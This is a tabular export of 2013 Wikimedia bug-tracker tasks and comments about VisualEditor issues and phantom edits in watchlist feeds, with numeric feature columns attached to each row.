+252840,update.php does not give any response.,"BTW, I tried 1.20.6 and 1.21.1 as well. None of them work in that server.",,,1374048167,,PHID-USER-qrnoqj2szt6knvcqvaxt,False,,,PHID-TASK-eril5tvgiad53f3rcpft,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0
+53481,&veaction= as a second parameter works on enwiki but not zhwiki,"Dunno why but:
+
+https://en.wikipedia.org/w/index.php?title=Fish&veaction=edit loads VE-edit mode
+
+https://zh.wikipedia.org/w/index.php?title=%E9%B1%BC&veaction=edit doesn't.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1374012540,1382132030.0,PHID-USER-zjzhrhmn36icnzbckqy4,False,,False,PHID-TASK-tlf237apfkoioeofs5ec,task_description,declined,True,c1,3,False,False,False,2,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0
+250734,&veaction= as a second parameter works on enwiki but not zhwiki,"(In reply to comment #2)
+> Do you perhaps have the VE preference enabled on enwiki but not on zhwiki?
+> veaction=edit will only work if VisualEditor is available, i.e. you didn't
+> disable it and it didn't detect some problem with your browser that made it
+> disable itself.
+
+Well it works for me now on zhwiki.",,,1382132925,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-tlf237apfkoioeofs5ec,task_subcomment,,True,c1,3,False,,,15,,1,0,0,0,1,1,1,0,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,0,0,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,1,0,1,0,0,0,1
+250728,&veaction= as a second parameter works on enwiki but not zhwiki,"Do you perhaps have the VE preference enabled on enwiki but not on zhwiki? veaction=edit will only work if VisualEditor is available, i.e. you didn't disable it and it didn't detect some problem with your browser that made it disable itself.",,,1382132880,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-tlf237apfkoioeofs5ec,task_subcomment,,True,c1,3,False,,,15,,1,0,0,0,1,1,1,0,0,1,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,1,0,0,0,1
+250721,&veaction= as a second parameter works on enwiki but not zhwiki,I cant reproduce this now.,,,1382132030,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-tlf237apfkoioeofs5ec,task_subcomment,,True,c1,3,False,,,15,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+53456,"Rearranging, removing, or reorganizing sections, then saving the page, causes the Table of Contents to link to 'Edit' instead of the section","From http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#How_did_it_go_to_Vedit_mode.3F
+
+""After saving an V-edit on Shiva, I saved the page. From contents, I clicked on a section. Instead of going to the section, it went in Vedit mode. --Redtigerxyz Talk 09:48, 14 July 2013 (UTC)""
+
+
+The problem was replicated in at least two articles, and only appears when reorganizing or removing sections.  The editor is running Chrome Version 28.0.1500.72 m and Windows 7 Home edition.  I couldn't replicate it using either Safari or Firefox on a Mac.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**OS**: Windows 7",Needs Triage,90.0,1373999220,1385374579.0,PHID-USER-uf3buojo4ceizjywvyn5,True,,False,PHID-TASK-djoqnd37pa6rtsa7b2iv,task_description,invalid,True,c1,3,False,False,False,2,,0,0,0,1,1,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,1,0
+249290,"Rearranging, removing, or reorganizing sections, then saving the page, causes the Table of Contents to link to 'Edit' instead of the section","I still cannot replicate this; possibly a transient caching bug?
+
+Marking as INVALID. Please re-open if it recurs.",,,1385374579,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-djoqnd37pa6rtsa7b2iv,task_subcomment,,True,c1,3,True,,,21,,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,0
+249285,"Rearranging, removing, or reorganizing sections, then saving the page, causes the Table of Contents to link to 'Edit' instead of the section","fwiw, I also tried to replicate it back in July and failed.",,,1380534380,,PHID-USER-oxd6f6xemkuyttw7z7wl,True,,,PHID-TASK-djoqnd37pa6rtsa7b2iv,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+53453,VisualEditor:Wrong reference subnumbering used for some wikis,"Screenshot
+
+Multiple uses of a references are shown in the reference list:
+
+Default: is ""1.0 1.1 1.2 1.3"" etc.
+
+Some wikis, like dewiki, uses ""a b c"" etc. 
+
+
+VE rendering always use the default.
+
+This is configured onwiki with [[MediaWiki:Cite references link many format]]. It depends on usage of $2 or $3:
+
+Default content: [[#$1|$2]]. $2 responsible for showing ""1.0 1.1 1.2 1.3"" etc
+
+dewiki content: [[#$1|$3]]. $3 is responsible for showing ""a b c"" etc
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F11692}",Needs Triage,90.0,1373997420,1379788309.0,PHID-USER-3uecblbxq24ycewm2cog,False,,False,PHID-TASK-w2eu52oilk4spsdpzeoa,task_description,resolved,True,c1,3,False,False,True,2,,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,1,1,0,0,1,0,1,0,0,1
+249176,VisualEditor:Wrong reference subnumbering used for some wikis,"This is covered by bug 49346 which is assigned and prioritised, so I'm marking this as a duplicate.
+
+*** This bug has been marked as a duplicate of bug 49346 ***",,,1379788309,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-w2eu52oilk4spsdpzeoa,task_subcomment,,True,c1,3,False,,,11,,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+249172,VisualEditor:Wrong reference subnumbering used for some wikis,"(In reply to comment #1)
+> (Are the letters in ref.1 at
+> https://en.wikipedia.org/w/index.php?title=User:Elitre_(WMF)/
+> Sandbox&diff=next&oldid=570373191
+> different from what you describe?)
+
+In read mode I see
+
+1. ^ a b pippo
+
+In VE edit mode I see:
+
+1.   1.0 1.1 pippo
+
+The latter is wrong. I except to see in VE edit mode the same letters a b as in read mode",,,1377775284,,PHID-USER-3uecblbxq24ycewm2cog,False,,,PHID-TASK-w2eu52oilk4spsdpzeoa,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,1,1,1,0,0,0,0,1
+249167,VisualEditor:Wrong reference subnumbering used for some wikis,(Are the letters in ref.1 at https://en.wikipedia.org/w/index.php?title=User:Elitre_(WMF)/Sandbox&diff=next&oldid=570373191 different from what you describe?),,,1377769124,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-w2eu52oilk4spsdpzeoa,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,1,1,0,0,0,0,0,0
+53452,VisualEditor: Category adding interface is hard to find,"I was surprised to find that I couldn't add any categories with the Visual Editor. I'm sure if we can add images, references, and templates, we should be able to add categories without too much trouble. Is this feature in beta or something?
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1373996400,1374010099.0,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,False,PHID-TASK-d36xqpcmqmrkpqcgucpb,task_description,resolved,True,c1,3,False,False,True,2,,1,1,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0
+249101,VisualEditor: Category adding interface is hard to find,"
+
+*** This bug has been marked as a duplicate of bug 51153 ***",,,1374010099,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-d36xqpcmqmrkpqcgucpb,task_subcomment,,True,c1,3,False,,,2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+249097,VisualEditor: Category adding interface is hard to find,"Nevermind. I found it under Page Settings. Seems like a strange place to put it. I would expect page settings to be stuff like font size or disabling the table of contents. Also the gear icon seems like a strange choice since all of our other uses of the gear icon (Echo, ULS) are about changing user preferences. Definitely not an icon I would associate with adding categories.
+
+Changing bug summary.",,,1374005371,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-d36xqpcmqmrkpqcgucpb,task_subcomment,,True,c1,3,False,,,2,,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+53440,"VisualEditor: Fix ""Uncaught TypeError: Cannot read property 'end' of null""","Can't reliably reproduce but I was turning text into a link, enter a url but didn't save the new link target (so it was saved as an internal link with the label as link target), then when entering the Save dialog and saving, this exception was thrown.
+
+
+> Uncaught TypeError: Cannot read property 'end' of null
+  load.php?debug=false&lang=en&modules=ext.visualEditor.core%2Cexperimental%2…ageTarget.icons-vector%7Crangy&skin=vector&version=20130716T133516Z&*:9463
+* ve.ui.Context.updateDimensions
+  load.php?debug=false&lang=en&modules=ext.visualEditor.core%2Cexperimental%2…ageTarget.icons-vector%7Crangy&skin=vector&version=20130716T133516Z&*:9463
+* (anonymous function)
+  load.php?debug=false&lang=en&modules=ext.visualEditor.core%2Cexperimental%2…ageTarget.icons-vector%7Crangy&skin=vector&version=20130716T133516Z&*:9499
+* proxy
+  load.php?debug=false&lang=en&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20130715T175253Z:10
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1373983800,1385386303.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-pskrxedevzwi6wzlhh27,task_description,declined,True,c1,3,True,False,False,2,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+248308,"VisualEditor: Fix ""Uncaught TypeError: Cannot read property 'end' of null""",Provisionally closing as WORKSFORME.,,,1385386303,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-pskrxedevzwi6wzlhh27,task_subcomment,,True,c1,3,True,,,21,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0
+53438,VisualEditor: Link inspector should make it easier to change the label,"There's a few problems, if we end up solving them in different ways we should create separate bugs for one or more of them.
+
+
+1) Changing the label of an internal link
+
+Given a simple link like [[example]] or [[Example]] (e.g. no custom label), when changing the link target, it seems to the user that the link has not updated since the label (which is all we see in the editor, hovering the link does nothing since it isn't a clickable link in edit mode).. since the label has not changed.
+
+Now one could argue the label shouldn't update at this point so that the sentence still reads the same (e.g. when changing intending to change the link from ""He was [[foolian]]."" to ""He was [[Foo|foonier]]."") and to be consistent for cases where the link does have a custom label (in which case it is more likely the label should stay the same?).
+
+However given the following two cases:
+
+* ""... is an [[United States|American]] thing ...""
+  -> "" is a [[Germany|German]] thing ...""
+
+* ""... according to [[David Tennant]] ...""
+  -> "" according to [[Russell T Davies]] ...""
+
+It is very common that the label should change to the target automatically (the second case) or at least be easy to change right after (first case). Ideally for the first case above it would automatically change to Germany and then the user can correct it to German.
+
+2) Change the label of any link
+
+Whether internal or external, it seems quite difficult to change the label of a link. When selecting the entire link text and typing over it, it currently behaves as follows:
+
+ > Some <a>link</a>
+ Select link (has to be done manually (tedious and error prone) 
+ > Some [selection]<a>link</a>[/selection]""
+ Type ""hello"".
+ > Some <a>h</a>ello.
+
+wtf?
+
+
+Though I'm open to other ideas, I'd recommend we start by putting an input field in the link inspector for the label so that they can be changed together. Though even without that, one should be able to replace the label without opening the inspector or running into the weird ""<a>first char</a>other chars"" case.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=48463",Needs Triage,90.0,1373981640,1433344273.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-TASK-hqvxg56nlg2toykqmhmk,task_description,duplicate,True,c1,3,True,True,False,2,,1,0,1,1,1,1,1,0,1,1,1,1,1,0,1,1,0,1,1,1,1,1,1,0,1,0,1,1,1,1,0,1,1,1,1,0,1,1,1,1,1,1,1,1,0,1,1,0,0,1,1,1,1,1,0,0,1,1,1,1,1,1,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1
+248200,VisualEditor: Link inspector should make it easier to change the label,"
+
+*** This bug has been marked as a duplicate of bug 53973 ***",,,1395196870,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hqvxg56nlg2toykqmhmk,task_subcomment,,True,c1,3,True,,,37,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+248194,VisualEditor: Link inspector should make it easier to change the label,"Here's a link that shows one of the main problems with the current approach:  https://hif.wikipedia.org/w/index.php?title=Akbar_the_Great&diff=194531&oldid=194146
+
+The editor almost certainly did not intend to end up with [[15 October|14 October]], and the editor almost certainly does not know that his effort to change the link failed.",,,1391535731,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-hqvxg56nlg2toykqmhmk,task_subcomment,,True,c1,3,False,,,31,,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,1
+248190,VisualEditor: Link inspector should make it easier to change the label,"I'd rather have a label input (or at least a label display) in the link inspector, but some method of indicating that the link is piped or has separate trailing text is important.  
+
+If you see a redlink like ""Alice Expert"", you can't tell from looking at the link in VisualEditor that it's actually piped:  [[Alice D Expert|Alice Expert]].  Fixing the label to match the actual article title name (""Alice D. Expert"") does not fix the broken link.  
+
+There's no way to see that the redlink didn't get fixed when you changed the label to ""Alice D. Expert"" (because VisualEditor's ""red"" links are blue).  
+
+There is also no reason for you to suspect that the problem is due to a hidden piped link, because there is no visual cue that you need to go into the link inspector to address the hidden/piped link.",,,1378925410,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-hqvxg56nlg2toykqmhmk,task_subcomment,,True,c1,3,False,,,10,,1,0,0,1,1,1,1,1,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,0,1,0,0,1,0,1,0,0,0,0,1,1,0,1,1,0,1,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,1
+248188,VisualEditor: Link inspector should make it easier to change the label,I think this duplicates Bug 50945,,,1375181384,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-hqvxg56nlg2toykqmhmk,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0
+248186,VisualEditor: Link inspector should make it easier to change the label,"We shouldn't put a label input in the link inspector because:
+
+1. It doesn't support rich text
+2. We cannot and should not put a subsurface in an inspector
+3. Links should remain a lightweight task, and dialogs are not lightweight
+4. This doesn't elegantly solve the problem anyway
+
+Some steps towards a better approach:
+
+1. We could decorate the ""linked"" portion of a link differently than
+   the link trail portion - at lease during certain interactions.
+2. We could add extra cursor positions on each side of a link to indicate being
+   next to or inside the link tag, decorate the link when you are inside those
+   boundaries.",,,1374009514,,PHID-USER-mpfqwllylfkzpcgkdkvc,False,,,PHID-TASK-hqvxg56nlg2toykqmhmk,task_subcomment,,True,c1,3,False,,,2,,1,0,0,0,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,1,1,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,1,0,1,0,1,1,0,0,1,0,1
+53427,Syndicated feeds of Watchlists include non-existent edits,"XML file of syndicated watchlist, slightly modified
+
+MediaWiki creates Atom feeds for watchlists. I use a feed reader to read a few on Wikia as well as en.wp. The feeds from Wikia are all sensible and useful but the one from en.wp includes edits that do not exist. Attached is an XML file that I generated with wget (through the assistance of persons on #mediawiki) which I have slightly redacted to remove my watchlist token. Edits which did not occur can be found c. line 229 where the syndication claims that User:FelGru edited the page Everything That Happens Will Happen Today and starting around line 373 there are a spate of edits to categories by User:InMontreal which also did not occur.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F11634}",Needs Triage,90.0,1373959140,1395065589.0,PHID-USER-34ciubbmtvmsgh53t6hb,False,,False,PHID-TASK-rl6e4brnawmfpf74jcdj,task_description,resolved,True,c1,3,False,False,False,2,,1,1,0,1,1,1,1,0,0,0,1,0,0,1,1,1,1,1,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1,0,1,0,0,1,0,0,0,0,1,1,0,0,1,1,1,1,1,0,1,0,0,0,0,1,0,0,1,1,0,0,1,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+247612,Syndicated feeds of Watchlists include non-existent edits,This seems fixed now for me.,,,1395065589,,PHID-USER-7n5fvppwj4ueprv2iuys,False,,,PHID-TASK-rl6e4brnawmfpf74jcdj,task_subcomment,,True,c1,3,True,,,37,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0
+247607,Syndicated feeds of Watchlists include non-existent edits,"Core should exclude RC_EXTERNAL by default for feeds or the extension has to provide a feed formatter for that row, but should also respect the setting, that external not always include in the result.
+
+You can use wltype=edit|new|log to exclude the external edits.",,,1383507823,,PHID-USER-a6jwrurphpx6yl4coupk,False,,,PHID-TASK-rl6e4brnawmfpf74jcdj,task_subcomment,,True,c1,3,False,,,17,,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+247602,Syndicated feeds of Watchlists include non-existent edits,"Problem solved? This user edited d:Q3977961 (several times in a row: https://www.wikidata.org/w/index.php?title=Q3977961&diff=60842173&oldid=37167299 ). Evidently, related items from Wikidata cause these phantom changes to occur...",,,1374562249,,PHID-USER-34ciubbmtvmsgh53t6hb,False,,,PHID-TASK-rl6e4brnawmfpf74jcdj,task_subcomment,,True,c1,3,False,,,3,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,1
+247597,Syndicated feeds of Watchlists include non-existent edits,"For what it's worth, I just caught a live one showing up in my Special:Watchlist Atom feed and then checked against Special:RecentChanges on en.wp:
+
+At 1:23, my watchlist claims that User:Andreasmperu edited Superman (The Clique song).
+
+Here is a copy-and-paste from every edit that happened from 1:23:00 to 1:23:59:
+
+(diff | hist) . . Begusarai district‎; 01:23:59 . . (+19)‎ . . ‎101.62.52.201 (talk)‎ (→‎Education)
+(diff | hist) . . Wikipedia:WikiProject Guild of Copy Editors/Backlog elimination drives/July 2013‎; 01:23:58 . . (+59)‎ . . ‎JudyCS (talk | contribs)‎ (→‎JudyCS (talk): updated totals)
+(diff | hist) . . Kojak‎; 01:23:57 . . (+14)‎ . . ‎71.180.138.175 (talk)‎ (→‎Plot) [rollback]
+(diff | hist) . . N User:TinyURLDotComSlashMb4tstl‎; 01:23:55 . . (+27)‎ . . ‎Prolog (talk | contribs)‎ (blockedsock)
+(diff | hist) . . N! User:Djdubay/sandbox/Userbox/Project‎; 01:23:53 . . (+802)‎ . . ‎Djdubay (talk | contribs)‎ (Creating new sandbox subpage.)
+(diff | hist) . . Wikipedia:WikiProject Military history/Fortifications task force/Popular pages‎; 01:23:52 . . (-30)‎ . . ‎Mr.Z-bot (talk | contribs)‎ (Popularity stats for WikiProject Military history/Fortifications task force) [rollback]
+(diff | hist) . . User:DGG/CSD log‎; 01:23:51 . . (+166)‎ . . ‎DGG (talk | contribs)‎ (Logging speedy deletion nomination of Wikipedia talk:Articles for creation/TPRG KANGAROO BRAND. (TW])) [rollback]
+(diff | hist) . . Margareta Huitfeldt‎; 01:23:49 . . (+66)‎ . . ‎Aciram (talk | contribs)‎ (→‎References) [rollback]
+(diff | hist) . . m Stella Women’s Academy, High School Division Class C3‎; 01:23:47 . . (+20)‎ . . ‎Xezbeth (talk | contribs)‎ (Disambiguated: Rambo → Rambo (film series)) [rollback]
+(diff | hist) . . N. T. Rama Rao Jr.‎; 01:23:47 . . (-12)‎ . . ‎117.241.0.199 (talk)‎ (→‎As actor) [rollback]
+(User creation log); 01:23:45 . . User account Thundercatmd (talk | contribs) was created ‎
+(diff | hist) . . Sadabad, India‎; 01:23:45 . . (+77)‎ . . ‎117.243.196.54 (talk)‎ (→‎Education) [rollback]
+(diff | hist) . . Crestar Bank‎; 01:23:42 . . (0)‎ . . ‎173.71.136.155 (talk)‎
+(diff | hist) . . Template:Did you know nominations/Russian submarine K-18 Karelia‎; 01:23:40 . . (+350)‎ . . ‎Daniel Case (talk | contribs)‎ (dull hook) [rollback]
+(diff | hist) . . Aubrey Plaza‎; 01:23:40 . . (+46)‎ . . ‎Captain Assassin! (talk | contribs)‎ (Life After Beth) [rollback]
+(diff | hist) . . WVQS-LD‎; 01:23:39 . . (-1)‎ . . ‎142.255.235.18 (talk)‎ [rollback]
+(User creation log); 01:23:39 . . User account Reginawong71 (talk | contribs) was created ‎
+(diff | hist) . . Wikipedia:Categories for discussion/Log/2013 July 9‎; 01:23:38 . . (+312)‎ . . ‎DexDor (talk | contribs)‎ (→‎Category:Modern surface-to-air missiles: cmt) [rollback]
+(diff | hist) . . Richard Lee McNair‎; 01:23:37 . . (0)‎ . . ‎Download (talk | contribs)‎ (→‎Attempts to avoid recapture: caps)
+(diff | hist) . . Wikipedia:WikiProject Motorcycling/Popular pages‎; 01:23:36 . . (+2)‎ . . ‎Mr.Z-bot (talk | contribs)‎ (Popularity stats for WikiProject Motorcycling) [rollback]
+(diff | hist) . . User:Aghaz Tech Systems‎; 01:23:35 . . (+16)‎ . . ‎I am One of Many (talk | contribs)‎ (Requesting speedy deletion (CSD G11). (TW)) [rollback]
+(diff | hist) . . Akkineni Nageswara Rao‎; 01:23:34 . . (-12)‎ . . ‎DMacks (talk | contribs)‎ (MOS) [rollback]
+(diff | hist) . . Prince William, Duke of Cambridge‎; 01:23:33 . . (+400)‎ . . ‎71.167.157.25 (talk)‎ (→‎Royal duties: tidies) [rollback]
+(diff | hist) . . User talk:Praghadeshkar‎; 01:23:32 . . (+1,977)‎ . . ‎DGG (talk | contribs)‎ (Notification: speedy deletion nomination of Wikipedia talk:Articles for creation/TPRG KANGAROO BRAND. (TW])) [rollback]
+(diff | hist) . . N! Wikipedia:Articles for creation/RJ Sridharan‎; 01:23:32 . . (+5,171)‎ . . ‎Anandhi1212 (talk | contribs)‎ (←Created page with ''''RJ Sridharan''' Rajendram Jagannathan Sridharan, affectionately addressed as Com RJS by the Indian banking fraternity was born on April 9th, 1949. He was bor...')
+(diff | hist) . . Seoul Metropolitan Police Agency‎; 01:23:30 . . (+95)‎ . . ‎Howard61313 (talk | contribs)‎ [rollback]
+(diff | hist) . . Wikipedia talk:Articles for creation/TPRG KANGAROO BRAND‎; 01:23:30 . . (+12)‎ . . ‎DGG (talk | contribs)‎ (Requesting speedy deletion (CSD G11). (TW])) [rollback]
+(diff | hist) . . Gabrielle Union‎; 01:23:29 . . (-3)‎ . . ‎Monkelese (talk | contribs)‎ [rollback]
